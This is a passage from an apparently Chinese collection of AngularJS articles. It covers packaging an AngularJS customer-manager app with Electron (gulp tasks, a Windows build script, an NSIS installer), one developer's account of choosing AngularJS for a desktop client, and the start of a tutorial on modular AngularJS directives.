        getAllCustomers();

        //----------------------
        // 内部方法
        //----------------------

        function selectCustomer(customer, index) {
            self.selected = angular.isNumber(customer) ? self.customers[customer] : customer;
            self.selectedIndex = angular.isNumber(customer) ? customer: index;
        }
        
        function deleteCustomer($event) {
            var confirm = $mdDialog.confirm()
                                   .title('Are you sure?')
                                   .content('Are you sure want to delete this customer?')
                                   .ok('Yes')
                                   .cancel('No')
                                   .targetEvent($event);

            $mdDialog.show(confirm).then(function () {
                customerService.destroy(self.selected.customer_id).then(function (affectedRows) {
                    self.customers.splice(self.selectedIndex, 1);
                });
            }, function () { });
        }

        function saveCustomer($event) {
            if (self.selected != null && self.selected.customer_id != null) {
                customerService.update(self.selected).then(function (affectedRows) {
                    $mdDialog.show(
                        $mdDialog
                            .alert()
                            .clickOutsideToClose(true)
                            .title('Success')
                            .content('Data Updated Successfully!')
                            .ok('Ok')
                            .targetEvent($event)
                    );
                });
            }
            else {
                //self.selected.customer_id = new Date().getSeconds();
                customerService.create(self.selected).then(function (affectedRows) {
                    $mdDialog.show(
                        $mdDialog
                            .alert()
                            .clickOutsideToClose(true)
                            .title('Success')
                            .content('Data Added Successfully!')
                            .ok('Ok')
                            .targetEvent($event)
                    );
                });
            }
        }    

        function createCustomer() {
            self.selected = {};
            self.selectedIndex = null;
        }      

        function getAllCustomers() {
            customerService.getCustomers().then(function (customers) {
                self.customers = [].concat(customers);
                self.selected = customers[0];
            });
        }
       
        function filterCustomer() {
            if (self.filterText == null || self.filterText == "") {
                getAllCustomers();
            }
            else {
                customerService.getByName(self.filterText).then(function (customers) {
                    self.customers = [].concat(customers);
                    self.selected = customers[0];
                });
            }
        }
    }

})();

我们的顾客模板（app/scripts/customer/customer.html）使用了 angular material 组件来构建 UI，如下所示：

<div style="width:100%" layout="row">
    <md-sidenav class="site-sidenav md-sidenav-left md-whiteframe-z2"
                md-component-id="left"
                md-is-locked-open="$mdMedia('gt-sm')">

        <md-toolbar layout="row" class="md-whiteframe-z1">
            <h1>Customers</h1>
        </md-toolbar>
        <md-input-container style="margin-bottom:0">
            <label>Customer Name</label>
            <input required name="customerName" ng-model="_ctrl.filterText" ng-change="_ctrl.filter()">
        </md-input-container>
        <md-list>
            <md-list-item ng-repeat="it in _ctrl.customers">
                <md-button ng-click="_ctrl.selectCustomer(it, $index)" ng-class="{'selected' : it === _ctrl.selected }">
                    {{it.name}}
                </md-button>
            </md-list-item>
        </md-list>
    </md-sidenav>

    <div flex layout="column" tabIndex="-1" role="main" class="md-whiteframe-z2">

        <md-toolbar layout="row" class="md-whiteframe-z1">
            <md-button class="menu" hide-gt-sm ng-click="ul.toggleList()" aria-label="Show User List">
                <md-icon md-svg-icon="menu"></md-icon>
            </md-button>
            <h1>{{ _ctrl.selected.name }}</h1>
        </md-toolbar>

        <md-content flex id="content">
            <div layout="column" style="width:50%">
                <br />
                <md-content layout-padding class="autoScroll">
                    <md-input-container>
                        <label>Name</label>
                        <input ng-model="_ctrl.selected.name" type="text">
                    </md-input-container>
                    <md-input-container md-no-float>
                        <label>Email</label>
                        <input ng-model="_ctrl.selected.email" type="text">
                    </md-input-container>
                    <md-input-container>
                        <label>Address</label>
                        <input ng-model="_ctrl.selected.address"  ng-required="true">
                    </md-input-container>
                    <md-input-container md-no-float>
                        <label>City</label>
                        <input ng-model="_ctrl.selected.city" type="text" >
                    </md-input-container>
                    <md-input-container md-no-float>
                        <label>Phone</label>
                        <input ng-model="_ctrl.selected.phone" type="text">
                    </md-input-container>
                </md-content>
                <section layout="row" layout-sm="column" layout-align="center center" layout-wrap>
                    <md-button class="md-raised md-info" ng-click="_ctrl.createCustomer()">Add</md-button>
                    <md-button class="md-raised md-primary" ng-click="_ctrl.saveCustomer()">Save</md-button>
                    <md-button class="md-raised md-danger" ng-click="_ctrl.cancelEdit()">Cancel</md-button>
                    <md-button class="md-raised md-warn" ng-click="_ctrl.deleteCustomer()">Delete</md-button>
                </section>
            </div>
        </md-content>

    </div>
</div>

app.js 包含模块初始化脚本和应用的路由配置，如下所示：

(function () {
    'use strict';
    
    var _templateBase = './scripts';
    
    angular.module('app', [
        'ngRoute',
        'ngMaterial',
        'ngAnimate'
    ])
    .config(['$routeProvider', function ($routeProvider) {
            $routeProvider.when('/', {
                templateUrl: _templateBase + '/customer/customer.html' ,
                controller: 'customerController',
                controllerAs: '_ctrl'
            });
            $routeProvider.otherwise({ redirectTo: '/' });
        }
    ]);

})();

最后是我们的首页 app/index.html

<html lang="en" ng-app="app">
    <title>Customer Manager</title>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge"gt;
    <meta name="description" content="">
    <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no" />
    <!-- build:css assets/css/app.css -->
    <link rel="stylesheet" href="../bower_components/angular-material/angular-material.css" />
    <link rel="stylesheet" href="assets/css/style.css" />
    <!-- endbuild -->
<body>
    <ng-view></ng-view>
    <!-- build:js scripts/vendor.js -->
    <script src="../bower_components/angular/angular.js"></script>
    <script src="../bower_components/angular-route/angular-route.js"></script>
    <script src="../bower_components/angular-animate/angular-animate.js"></script>
    <script src="../bower_components/angular-aria/angular-aria.js"></script>
    <script src="../bower_components/angular-material/angular-material.js"></script>
    <!-- endbuild -->
   
    <!-- build:app scripts/app.js -->
    <script src="./scripts/app.js"></script>
    <script src="./scripts/customer/customerService.js"></script>
    <script src="./scripts/customer/customerController.js"></script>
    <!-- endbuild -->
</body>
</html>

如果你已经如上面那样配置过 VS Code task runner 的话，使用 gulp run 命令或者按下 Ctrl + Shif + B 来启动你的应用。



构建 AngularJS 应用

为了构建我们的 Angular 应用，需要安装 gulp-uglify, gulp-minify-css 和 gulp-usemin 依赖包。

npm install --save gulp-uglify gulp-minify-css gulp-usemin

打开你的 gulpfile.js 并且引入必要的模块。

  var childProcess = require('child_process'); 
  var electron     = require('electron-prebuilt'); 
  var gulp         = require('gulp'); 
  var jetpack      = require('fs-jetpack'); 
  var usemin       = require('gulp-usemin'); 
  var uglify       = require('gulp-uglify');

  var projectDir = jetpack; 
  var srcDir     = projectDir.cwd('./app'); 
  var destDir    = projectDir.cwd('./build');

如果构建目录已经存在的话，清理一下它。

gulp.task('clean', function (callback) { 
  return destDir.dirAsync('.', { empty: true }); 
});

复制文件到构建目录。我们并不需要使用复制功能来复制 angular 应用的代码，在下一部分中 usemin 将会为我们做这件事请：

gulp.task('copy', ['clean'], function () { 
    return projectDir.copyAsync('app', destDir.path(), { 
        overwrite: true, matching: [ 
            './node_modules/**/*', 
            '*.html', 
            '*.css', 
            'main.js', 
            'package.json' 
       ] 
    }); 
});

我们的构建任务将使用 gulp.src() 获取 app/index.html 然后传递给 usemin。然后它会将输出写入到构建目录并且把 index.html 中的引用用优化版代码替换掉 。

注意： 千万不要忘记在 app/index.html 像这样定义 usemin 块：



<!-- build:js scripts/vendor.js -->
<script src="../bower_components/angular/angular.js"></script>
<script src="../bower_components/angular-route/angular-route.js"></script>
<script src="../bower_components/angular-animate/angular-animate.js"></script>
<script src="../bower_components/angular-aria/angular-aria.js"></script>
<script src="../bower_components/angular-material/angular-material.js"></script>
<!-- endbuild -->
    
<!-- build:app scripts/app.js -->
<script src="./scripts/app.js"></script>
<script src="./scripts/customer/customerService.js"></script>
<script src="./scripts/customer/customerController.js"></script>
<!-- endbuild -->

构建任务如下所示：

gulp.task('build', ['copy'], function () { 
  return gulp.src('./app/index.html') 
    .pipe(usemin({ 
      js: [uglify()] 
    })) 
    .pipe(gulp.dest('build/')); 
});

为发行（distribution）做准备

在这一部分我们将把 Electron 应用打包至生产环境。在根目录创建构建脚本 build.windows.js。这个脚本用于 Windows 上。对于其他平台来说，你应该创建那个平台特定的脚本并且根据平台来运行。

可以在 node_modules/electron-prebuilt/dist 目录中找到一个典型的 electron distribution。这里是构建 electron 应用的步骤：


	我们首要的任务是复制 electron distribution 到我们的 dist 目录。


	每一个 electron distribution 都包含一个默认的应用在 dist/resources/default_app 中 。我们需要用我们最终构建的应用来替换它。


	为了保护我们的应用源码和资源，你可以选择将你的应用打包成一个 asar 归档，这会改变一点你的源码。一个 asar 归档是一个简单的类似 tar 的格式，它会将你所有的文件拼接成单个文件，Electron 可以在不解压整个文件的情况下从中读取任意文件。




注意：这一部分描述的是 windows 平台下的打包。其他平台中的步骤是一样的，只是路径和使用的文件不一样而已。你可以在 github 中获取 OSx 和 linux 的完整构建脚本。



安装构建 electron 必要的依赖：npm install --save q asar fs-jetpack recedit

接下来，初始化我们的构建脚本，如下所示：

var Q = require('q'); 
var childProcess = require('child_process'); 
var asar = require('asar'); 
var jetpack = require('fs-jetpack');
var projectDir;
var buildDir; 
var manifest; 
var appDir;

function init() { 
    // 项目路径是应用的根目录
    projectDir = jetpack; 
    // 构建目录是最终应用被构建后放置的目录
    buildDir = projectDir.dir('./dist', { empty: true }); 
    // angular 应用目录
    appDir = projectDir.dir('./build'); 
    // angular 应用的 package.json 文件
    manifest = appDir.read('./package.json', 'json'); 
    return Q(); 
} 

这里我们使用 fs-jetpack node 模块进行文件操作。它提供了更灵活的文件操作。

复制 Electron Distribution

从 electron-prebuilt/dist 复制默认的 electron distribution 到我们的 dist 目录

function copyElectron() { 
     return projectDir.copyAsync('./node_modules/electron-prebuilt/dist', buildDir.path(), { overwrite: true }); 
} 

清理默认应用

你可以在 resources/default_app 文件夹内找到一个默认的 HTML 应用。我们需要用我们自己的 angular 应用来替换它。按照下面所示移除它：

注意：这里的路径是针对 windows 平台的。对于其他平台过程是一致的，只是路径不一样而已。在 OSX 中路径应该是 Contents/Resources/default_app



function cleanupRuntime() { 
     return buildDir.removeAsync('resources/default_app'); 
}

创建 asar 包

function createAsar() { 
     var deferred = Q.defer(); 
     asar.createPackage(appDir.path(), buildDir.path('resources/app.asar'), function () { 
         deferred.resolve(); 
     }); 
     return deferred.promise; 
}

这将会把你 angular 应用的所有文件打包到一个 asar 包文件里。你可以在 dist/resources/ 目录中找到 asar 文件。

替换为自己的应用资源

下一步是将默认的 electron icon 替换成你自己的，更新产品的信息然后重命名应用。

function updateResources() {
    var deferred = Q.defer();

    // 将你的 icon 从 resource 文件夹复制到构建文件夹下
    projectDir.copy('resources/windows/icon.ico', buildDir.path('icon.ico'));

    // 将 Electron icon 替换成你自己的
    var rcedit = require('rcedit');
    rcedit(buildDir.path('electron.exe'), {
        'icon': projectDir.path('resources/windows/icon.ico'),
        'version-string': {
            'ProductName': manifest.name,
            'FileDescription': manifest.description,
        }
    }, function (err) {
        if (!err) {
            deferred.resolve();
        }
    });
    return deferred.promise;
}
// 重命名 electron exe 
function rename() {
    return buildDir.renameAsync('electron.exe', manifest.name + '.exe');
}

创建原生安装包

你可以使用 wix 或 NSIS 创建 windows 安装包。这里我们尽可能使用更小更灵活的 NSIS，它很适合网络应用。使用 NSIS 可以创建支持应用安装时需要的任何事情的安装包。

在 resources/windows/installer.nsis 中创建 NSIS 脚本

!include LogicLib.nsh
    !include nsDialogs.nsh

    ; --------------------------------
    ; Variables
    ; --------------------------------

    !define dest "{{dest}}"
    !define src "{{src}}"
    !define name "{{name}}"
    !define productName "{{productName}}"
    !define version "{{version}}"
    !define icon "{{icon}}"
    !define banner "{{banner}}"

    !define exec "{{productName}}.exe"

    !define regkey "Software\${productName}"
    !define uninstkey "Software\Microsoft\Windows\CurrentVersion\Uninstall\${productName}"

    !define uninstaller "uninstall.exe"

    ; --------------------------------
    ; Installation
    ; --------------------------------

    SetCompressor lzma

    Name "${productName}"
    Icon "${icon}"
    OutFile "${dest}"
    InstallDir "$PROGRAMFILES\${productName}"
    InstallDirRegKey HKLM "${regkey}" ""

    CRCCheck on
    SilentInstall normal

    XPStyle on
    ShowInstDetails nevershow
    AutoCloseWindow false
    WindowIcon off

    Caption "${productName} Setup"
    ; Don't add sub-captions to title bar
    SubCaption 3 " "
    SubCaption 4 " "

    Page custom welcome
    Page instfiles

    Var Image
    Var ImageHandle

    Function .onInit

        ; Extract banner image for welcome page
        InitPluginsDir
        ReserveFile "${banner}"
        File /oname=$PLUGINSDIR\banner.bmp "${banner}"

    FunctionEnd

    ; Custom welcome page
    Function welcome

        nsDialogs::Create 1018

        ${NSD_CreateLabel} 185 1u 210 100% "Welcome to ${productName} version ${version} installer.$\r$\n$\r$\nClick install to begin."

        ${NSD_CreateBitmap} 0 0 170 210 ""
        Pop $Image
        ${NSD_SetImage} $Image $PLUGINSDIR\banner.bmp $ImageHandle

        nsDialogs::Show

        ${NSD_FreeImage} $ImageHandle

    FunctionEnd

    ; Installation declarations
    Section "Install"

        WriteRegStr HKLM "${regkey}" "Install_Dir" "$INSTDIR"
        WriteRegStr HKLM "${uninstkey}" "DisplayName" "${productName}"
        WriteRegStr HKLM "${uninstkey}" "DisplayIcon" '"$INSTDIR\icon.ico"'
        WriteRegStr HKLM "${uninstkey}" "UninstallString" '"$INSTDIR\${uninstaller}"'

        ; Remove all application files copied by previous installation
        RMDir /r "$INSTDIR"

        SetOutPath $INSTDIR

        ; Include all files from /build directory
        File /r "${src}\*"

        ; Create start menu shortcut
        CreateShortCut "$SMPROGRAMS\${productName}.lnk" "$INSTDIR\${exec}" "" "$INSTDIR\icon.ico"

        WriteUninstaller "${uninstaller}"

    SectionEnd

    ; --------------------------------
    ; Uninstaller
    ; --------------------------------

    ShowUninstDetails nevershow

    UninstallCaption "Uninstall ${productName}"
    UninstallText "Don't like ${productName} anymore? Hit uninstall button."
    UninstallIcon "${icon}"

    UninstPage custom un.confirm un.confirmOnLeave
    UninstPage instfiles

    Var RemoveAppDataCheckbox
    Var RemoveAppDataCheckbox_State

    ; Custom uninstall confirm page
    Function un.confirm

        nsDialogs::Create 1018

        ${NSD_CreateLabel} 1u 1u 100% 24u "If you really want to remove ${productName} from your computer press uninstall button."

        ${NSD_CreateCheckbox} 1u 35u 100% 10u "Remove also my ${productName} personal data"
        Pop $RemoveAppDataCheckbox

        nsDialogs::Show

    FunctionEnd

    Function un.confirmOnLeave

        ; Save checkbox state on page leave
        ${NSD_GetState} $RemoveAppDataCheckbox $RemoveAppDataCheckbox_State

    FunctionEnd

    ; Uninstall declarations
    Section "Uninstall"

        DeleteRegKey HKLM "${uninstkey}"
        DeleteRegKey HKLM "${regkey}"

        Delete "$SMPROGRAMS\${productName}.lnk"

        ; Remove whole directory from Program Files
        RMDir /r "$INSTDIR"

        ; Remove also appData directory generated by your app if user checked this option
        ${If} $RemoveAppDataCheckbox_State == ${BST_CHECKED}
            RMDir /r "$LOCALAPPDATA\${name}"
        ${EndIf}

    SectionEnd

在 build.windows.js 文件中创建一个叫做 createInstaller 的函数，如下所示：

function createInstaller() {
    var deferred = Q.defer();

    function replace(str, patterns) {
        Object.keys(patterns).forEach(function (pattern) {
            console.log(pattern)
              var matcher = new RegExp('{{' + pattern + '}}', 'g');
            str = str.replace(matcher, patterns[pattern]);
        });
        return str;
    }

    var installScript = projectDir.read('resources/windows/installer.nsi');

    installScript = replace(installScript, {
        name: manifest.name,
        productName: manifest.name,
        version: manifest.version,
        src: buildDir.path(),
        dest: projectDir.path(),
        icon: buildDir.path('icon.ico'),
        setupIcon: buildDir.path('icon.ico'),
        banner: projectDir.path('resources/windows/banner.bmp'),
    });
    buildDir.write('installer.nsi', installScript);

    var nsis = childProcess.spawn('makensis', [buildDir.path('installer.nsi')], {
        stdio: 'inherit'
    });

    nsis.on('error', function (err) {
        if (err.message === 'spawn makensis ENOENT') {
            throw "Can't find NSIS. Are you sure you've installed it and"
            + " added to PATH environment variable?";
        } else {
            throw err;
        }
    });

    nsis.on('close', function () {
        deferred.resolve();
    });

    return deferred.promise;

}

你应该安装了 NSIS，并且确保它在你的路径中是可用的。creaeInstaller 函数会读取安装包脚本并且依照 NSIS 运行时使用 makensis 命令来执行。

将他们组合到一起

创建一个函数把所有的片段放在一起，为了使 gulp 任务可以获取到然后输出它：

function build() { 
    return init()
            .then(copyElectron) 
            .then(cleanupRuntime) 
            .then(createAsar) 
            .then(updateResources) 
            .then(rename) 
            .then(createInstaller); 
}
module.exports = { build: build };

接着，在 gulpfile.js 中创建 gulp 任务来执行这个构建脚本：

var release_windows = require('./build.windows'); 
var os = require('os'); 
gulp.task('build-electron', ['build'], function () { 
    switch (os.platform()) { 
        case 'darwin': 
        // 执行 build.osx.js 
        break; 
        case 'linux': 
        //执行 build.linux.js 
        break; 
        case 'win32': 
        return release_windows.build(); 
    } 
}); 

运行下面命令，你应该就会得到最终的产品：

gulp build-electron

你最终的 electron 应用应该在 dist 目录中，并且目录结构应该和下面是相似的：



总结

Electron 不仅仅是一个支持打包 web 应用成为桌面应用的原生 web view。它现在包含 app 的自动升级、Windows 安装包、崩溃报告、通知和一些其它有用的原生 app 功能——所有的这些都通过 JavaScript API 调用。

到目前为止，很大范围的应用使用 electron 创建，包括聊天应用、数据库管理器、地图设计器、协作设计工具和手机原型等。

下面是 Github Electron 的一些有用的资源：


	官方网站 – http://electron.atom.io/


	官方文档 – https://github.com/atom/electron/tree/master/docs


	Awesome Electron – https://github.com/sindresorhus/awesome-electron


	Electron 应用样板 – https://github.com/szwacz/electron-boilerplate


	使用 ReactJs 的 Electron 样板 – https://github.com/airtoxin/Electron-React-Boilerplate


	https://github.com/chentsulin/electron-react-boilerplate


	本文中应用源码（译者注）





 从用 AngularJS 开发 PC 客户端说起

作者：Mr_Jing

来源： 从用 AngularJS 开发 PC 客户端说起



                    
最近一个多月一直在用 AngularJS 做公司的一个项目（还没有做完），我之前主要是用 PHP 开发服务端的，AngularJS 也是现学现卖，整个过程还是比较有意义的，觉得很有必要写篇文章记录一下。

缘起

事情是这样的……我们团队的产品是一款 PC 客户端，客户端的界面主要是用 C++ 开发的，还有部分界面其实就是用 IE 浏览器内嵌了服务端的 web 页面。在这个时期，项目经理带着一个 C++ 同事写界面（对的，我们项目经理是写代码的老手），然后很苦……而对于 IE 浏览器，策略是用户 PC 上是哪个版本的 IE 浏览器就用那个版本的，这也苦了前端同事和我们俩 PHP（主要是前端同事特别苦）。而且产品经理对于实现效果也不是很满意。

后来，经过团队的一致同意，决定采用谷歌浏览器内核，放弃了 IE 浏览器。于是客户端使用了 CEF，用 Chromium&Webkit 来呈现 web 页面。这个时期，客户端的开发任务逐渐改为由一个C++ 同事（昵称：小白）承担，项目经理辅助。其间小白同学还掉 CEF 的坑里面了……恩，还是很苦的。之后很多新功能点的开发任务就向服务端倾斜，客户端里面采用 web 页面的功能也越来越多。但是，这样的用户体验不是很好。连其他团队的同事都说我们组不是在做客户端，而是客户端里面嵌浏览器，浏览器里面跑网页。

再后来，领导说，web 版也得有。用户说，你们为什么不开发 Mac 版（我们组连 Mac 都没有，鬼来给你们开发 Mac 版啊）。于是，项目经理就把我们俩 PHP 叫到跟前，语重心长地说：“你们看，小白做客户端也挺累的。我们现在当然也不可能开发 Mac 版，但是，Mac 版可能还是得有的，在不远的将来。你们说能不能就用 web 的开发模式来实现客户端啊？这样 web 版、Window PC 版、Mac 版就都有了。你们看，有道云笔记、StarUML、钉钉这些就挺吊的。” 恩，我明白，其实我们需要做的东西是单页应用。

调研和选型

有道、heX、AngularJS

于是，我们就开始了调研和选型的任务。既然说到了有道云笔记、StarUML、钉钉这几款软件，那么我们就从它们开始着手。
有道云笔记可能就是最贴近我们想法的产品，有客户端，有 web 版。
有道自己有个项目叫heX。这是其官网的介绍：

heX 项目于 2012 年启动，基于开源项目 CEF，它内部整合了开源项目 Chromium 及 Node.JS，将两者的 V8 引擎和消息循环合并，从而达到了在 Chromium 所展现的 Web 页面内可以直接使用 Node.JS 原生和及第三方扩展的 API 以及 Node.JS 最大的特色——异步回调与事件循环。 
heX 最初的目标是，采用纯前端 （HTML，CSS，JavaScript） 的方式开发客户端软件，解决传统桌面开发中大量繁琐的 UI 工作。以实现跨平台 (Windows，OS X，Linux)，高效的桌面程序开发。随着持续的开发，heX 被赋予了更多的角色，它可以作为 web 容器嵌入到客户端工程中，还可以作为浏览器 (HeXium) 对 Node.js 进行调试。



这篇博客《heX：用HTML5和Node.JS开发桌面应用》讲述了 heX 的前世今生，貌似有道词典是用 heX 开发的，但是有道云笔记是否使用了 Hex，文章和官网没有提及。我粗略地对比了一下有道云笔记和有道词典安装后的目录及文件，估计有道云笔记还是使用的 CEF。

而有道云笔记界面是使用的是： AngularJS。

StarUML2、nw、Kendo UI

StarUML2 是基于 NW.js（原名node-webkit），NW 是基于Chromium 和 node.js，利用 web 方式开发跨平台桌面应用的平台技术。
StarUML 上有很多很复杂的 UI 控件，这些控件是由 Kendo UI 提供。Kendo UI 是一款杰出的 Web UI 框架，貌似是收费的。Kendo UI 还提供了 AngularJS 的版本。

钉钉

看安装后的目录和文件，目测应该是基于 NW.js + AngularJS

Atom、Visual Studio Code、Electron

除了 CEF、heX、nw 之外，还有一个比较新的利用web技术构建跨平台桌面软件的平台：Electron。同样，Electron 的底层也是基于Chromium 和 node.js。这个项目由 GitHub 发起和维护。最近特别火的两款编辑器 Atom 和 Visual Studio Code 都是基于 Electron 开发的。

最后，小白同学决定还是使用 CEF。原因很简单：他在 CEF 的坑里面摸爬滚打过，熟悉。

平台已经确定使用 CEF 了，但是单页应用用什么技术好哩？上面一路看下来，其实我内心已经很偏向 AngularJS 了。

Angular、React、Vue、Avalon、Backbone

前端框架遍地开花，选得我眼花缭乱的。我最后综合了：框架成熟度、社区活跃度、第三方组件数量、背后干爹、GitHub Star 数目、成熟案例、搜索引擎关键字热度、百度指数、文档和资料数目……等等一系列因素，艰难地决定使用 Angular（其实是我一拍脑袋决定的）。

当然，为了说服项目经理，我还是花了一个下午的时间边看 Angular 文档边看产品经理的原型，写了一个比原型还丑一百倍的 demo，只是产品的一个架子雏形。demo 丑得惊为天人，同事们可能也就在心中吐槽了一把，并没有什么其他反应。当我把 JS 文件打开给同事们看时，里面只有几十行代码。如果是用 jQuery，实现同样的功能代码量肯定是多出很多的。于是，大家就一致同意使用 Angular 了。其实，在写的过程中，我就对于 Angular 双向数据绑定、几乎无需操作 DOM 的特性给折服了。这大概是从 jQuery 风格突然跳出来时特有的激动吧。

前端框架也定了，后端就是提供 API 接口了。我本来是想用 Laravel +dingo/api 的，但是考虑到我们人少和工期都十分有限。另一名 PHP 同事建议直接将原有系统的代码 copy 一份，将返回 html 视图的页面直接改为返回 json 数据。新增的接口继续在原有系统上添加。这样开发速度最快，大家欣然接受。

于是，我们巴拉巴拉地开始这个项目了。
产品经理产出原型->
设计师根据原型产出设计图->
前端同事切图，编写HTML和CSS->
我负责写大部分的 Angular 代码和极少数的 PHP API 接口->
另外一名 PHP 同事写少部分的 Angular 代码和绝大数的 PHP API 接口->
C++ 同事附近写客户端相关的一些功能

没图我会乱说？
这是在客户端中的效果：








这是在浏览器中的效果：






最后，总结下吧。

优点：

跨平台：
本质上还是网页，所以跨平台不必多说。移动端也有 inoic 这个方案。

前后端彻底分离：
一般服务端的 MVC 架构，都会有视图这个概论，返回给浏览器端的是 HTML。这就意味着，服务端程序员还是需要写视图，需要将前端给的页面改成模板。但是，采用 Angular 这些前端框架，服务器就只需要提供接口，返回 json 数据。这样，前端和后端就彻底分离开了。每次老板说要大改版时，服务端接口不用变，前端就是最苦的了。

纯API接口：
上面说过，服务端以往对于浏览器请求返回 HTML，对于移动端请求，一般是返回 json 数据。但是，如果使用前端框架都走 API 的形式，那么就真是大统一了。不管是 web 站点、Android 客户端、iPhone 客户端、window phone 客户端，统统都只返回接口数据。

可测试性：
API 接口降低了服务端单元测试的难度，而 Angular 本身也提供了测试套件，让前端应用更加易于测试。（我并没有实践过，原因懂的）

缺点：

SEO：
Angular 基本都是利用 ajax 异步获取数据，这样对于搜索引擎是不太友好的。但是，如果是工具类应用（例如：web 即时聊天室、网站管理后台），重点并不是在内容上，就不用太顾忌这个缺点。

浏览器兼容性：
做 web 的，浏览器兼容真是一个老大难的问题。Angular 在 1.3 后就减少了对 IE8 的支持了。

项目难度：
如果用 Angular 做一般 web 项目，是非常容易的。但是，如果真的是要达到客户端交互的体验，这个肯定是有难度的。不过，这一点不是针对 Angular，而是说想用 web 技术实现客户端交互体验这件事本身是有难度的。

前端人才：
Angular 本身还是有一定难度的，很多概念还是从服务端引入的，专注于前端开发的工程师可能难以适应。而要找到懂设计懂 UI，逻辑抽象、编码能力还很强的前端工程师确实是件比较困难的事情。


 Angular.js 的一些学习资源

作者：dolymood

来源： Angular.js 的一些学习资源



                    
GitHub项目地址 https://github.com/dolymood/AngularLearning



基础


	官方： http://docs.angularjs.org angularjs官方网站已被墙，可看 http://www.ngnice.com/；


	官方zip下载包 https://github.com/dolymood/angular-packages>，__已增加docs服务，输入地址即可，例如：https://github.com/zafarali/learning-angular> 以及我的翻译版本（ing）





 AngularJS指令开发（2）——模块化方案

作者：Tgor

来源： AngularJS指令开发（2）——模块化方案



                    
上一章节，给大家回顾了一下AngularJS指令参数的基础使用。如果有纰漏，欢迎大家给我留言，相互探讨探讨。

指令化，其实本质就是代码的通用化与模块化，AngularJS的指令化工作，将逻辑与DOM都结合在一起，能够做到即插即用，与Asp的Component是相似的概念。

要做到模块化，必要的要求就是通用代码与业务代码的解耦。而解耦并不代表完全的隔绝，解耦要做的是，通用模块与业务模块的隔离，同时也保留接口提供两者通讯。

啰嗦，赶紧实例吧！

某天，产品老大压下来需求，要做个学生信息填写卡，说白了就是一个表单编辑器，so easy，前端单身狗拍拍脑袋马上开工。

<body>
    <div ng-controller='demoCtrl'>
        <div class="panel">
            <h3>student card</h3>
            <p>
                <span>name:</span>
                <input type="text" ng-model="stu.name" />
            </p>
            <p>
                <span>sexy :</span>
                <select ng-model="stu.sexy">
                    <option value="1">male</option>
                    <option value="2">female</option>
                </select>
            </p>
            <p>......</p>
            <button class="btn btn-info" type="button" ng-click="saveEditing()">save</button>
        </div>
    </div>

    <script>
        var app = angular.module("app", []);

        app.controller('demoCtrl', function ($scope) {
            $scope.stu = {
                name: "mark",
                sexy: 1
            };

            $scope.saveEditing = function () {
                //$http.post("...", { stu: $scope.guy });
                console.log($scope.guy.name + " is saving!");
                console.log($scope.guy);
            };
            
            //这里省略信息卡交互逻辑…… 
        });               
    </script>
</body>


出来结果，还行。



隔了一天，产品老大想了想，要增强体验，在选择性别的时候，名称要根据男女颜色变化；输入名称的时候，要自动匹配近似名称，并且首字母大写。行，改呗。demoCtrl加上以下逻辑

$scope.nameChange = function () {
    //处理名称变更
};

$scope.sexyChange = function () {
    //处理性别变更
};


又隔了一天，产品老大终于定稿，这个学生信息填写卡，要应用到demo页、demo1页、demo2页上，而3个页面保存功能指向的后端接口都不一样。

前端单身狗：虽然不至于问候您大爷，但至少要好好考虑如何实现才省功夫吧。难道要把demoCtrl的相关代码都copy到另外两个页面吗？这个时候，只要是写过代码的同志都会say no吧！

赶紧指令化。

隔离

首先，把信息卡的DOM结构独立开来，创建指令student。指令scope参数要设为{}，如果设为false、true达不到完全隔离的效果哦，不理解原因的童鞋请回顾上一章节。

<div ng-controller='demoCtrl'>
    <student></student>
</div>

<div ng-controller='demo1Ctrl'>
    <student></student>
</div>

<div ng-controller='demo2Ctrl'>
    <student></student>
</div>

<!--信息卡DOM模板->
<script type="text/html" id="t1">
    <div class="panel">
        <p>
            <span>name:</span>
            <input type="text" ng-model="stu.name" />
        </p>
        <p>
            <span>sexy :</span>
            <select ng-model="stu.sexy">
                <option value="1">male</option>
                <option value="2">female</option>
            </select>
        </p>
        <button class="btn btn-info" type="button" ng-click="onSave()">save</button>
    </div>
</script>

<script>
    var app = angular.module("app", []);

   app.directive('student', function () {
        return {
            restrict: 'E',
            scope: {},
            template: function (elem, attr) {
                return document.getElementById('t1').innerHTML;
            },
            controller:function($scope){
                //这里省略信息卡交互逻辑……                    
            }                
        };
    });
</script>


虽然独立了信息卡代码，但有两个问题是显而易见的


	隔离以后，指令内部如何获得3个demoCtrl的stu？


	保存按钮又是如何调用外部3个demoCtrl不同的save方法？




问题其实指明了解决思路，student需要两个接口与外部通讯：scope.stu & scope.save()

通讯

为大家介绍3种通讯方案。

scope {}

指令scope {}参数，可以完全隔离作用域，但是也预留了3种绑定策略，实现子域与父域通讯。

为指令建立两个通讯接口，stu采取=双向绑定父域对象的策略；而onSave则采取$反向调用父域函数策略。

scope: {
    stu: '=',      //=为双向绑定策略
    onSave: '&'    //$反向调用父域函数策略
},


优点：简单、简洁
缺点：


	通讯接口要求比较多、复杂的情况下，指令scope {}要配置的绑定策略也比较多；


	造成指令与指令之间的通讯容易混乱；


	指令内部好像没有办法，往onSave()函数里面传参，这个不确定，求助大家。




DOM写法：

<student stu="guy" on-save="saveEditing()"></student>


完整例子：

<body>
    <div ng-controller='demoCtrl'>
        <!--指令scope.stu双向绑定demoCtrl scope.guy-->
        <!--指令scope.onSave函数指向demoCtrl scope.saveEditing()-->
        <student stu="guy" on-save="saveEditing()"></student>
    </div>

    <script type="text/html" id="t1">
        <div class="panel">
            <p>
                <span>name:</span>
                <input type="text" ng-model="stu.name" />
            </p>
            <p>
                <span>sexy :</span>
                <select ng-model="stu.sexy">
                    <option value="1">male</option>
                    <option value="2">female</option>
                </select>
            </p>
            <button class="btn btn-info" type="button" ng-click="onSave()">save</button>
        </div>
    </script>

    <script>
        var app = angular.module("app", []);

        app.controller('demoCtrl', function ($scope) {
            $scope.guy = {
                name: "mark",
                sexy: 1
            };

            $scope.saveEditing = function () {
                //$http.post("...", { stu: $scope.guy });
                console.log($scope.guy.name + " is saving!");
                console.log($scope.guy);
            };
        });

        app.directive('student', function () {
            return {
                restrict: 'E',
                scope: {
                    stu: '=',      //=为双向绑定策略
                    onSave: '&'    //$反向调用父域函数策略
                },
                template: function (elem, attr) {
                    return document.getElementById('t1').innerHTML;
                },
                controller: function ($scope, $element, $attrs, $transclude) {
                    //这里省略信息卡交互逻辑……
                }
            };
        });
    </script>
